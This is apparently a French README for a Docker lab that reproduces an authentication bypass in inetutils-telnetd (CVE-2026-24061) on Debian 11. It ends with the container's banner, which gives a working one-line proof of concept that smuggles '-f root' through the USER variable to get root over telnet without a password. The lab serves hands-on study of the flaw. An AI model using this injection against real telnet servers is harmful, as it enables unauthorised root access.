Laboratoire de contournement d'authentification inetutils-telnetd, CVE-2026-24061

Un petit laboratoire pour jouer avec le contournement d'authentification dans inetutils-telnetd 1.9.3 - 2.7 tel que divulgué sur la liste de diffusion oss-sec. [0]

Ce conteneur repose sur le fait qu'inetutils-telnetd est encore une version vulnérable dans Debian 11 (Bullseye). Au moment de sa création, c'était :

root@ba8cc6858b87:/# apt search inetutils-telnetd
Sorting... Done
Full Text Search... Done
inetutils-telnetd/oldoldstable 2:2.0-1+deb11u2 arm64
  telnet server

build

Clonez et construisez le conteneur avec docker build -t telnetd-exploit ..

run

Exécutez le conteneur avec docker run --rm -it telnetd-exploit. Un message vous montrera le PoC.

docker run --rm -it telnetd-exploit
Starting internet superserver: inetd.
You are user1. Try telnet as root with: USER='-f root' telnet -a localhost
user1@114102afa5d3:/$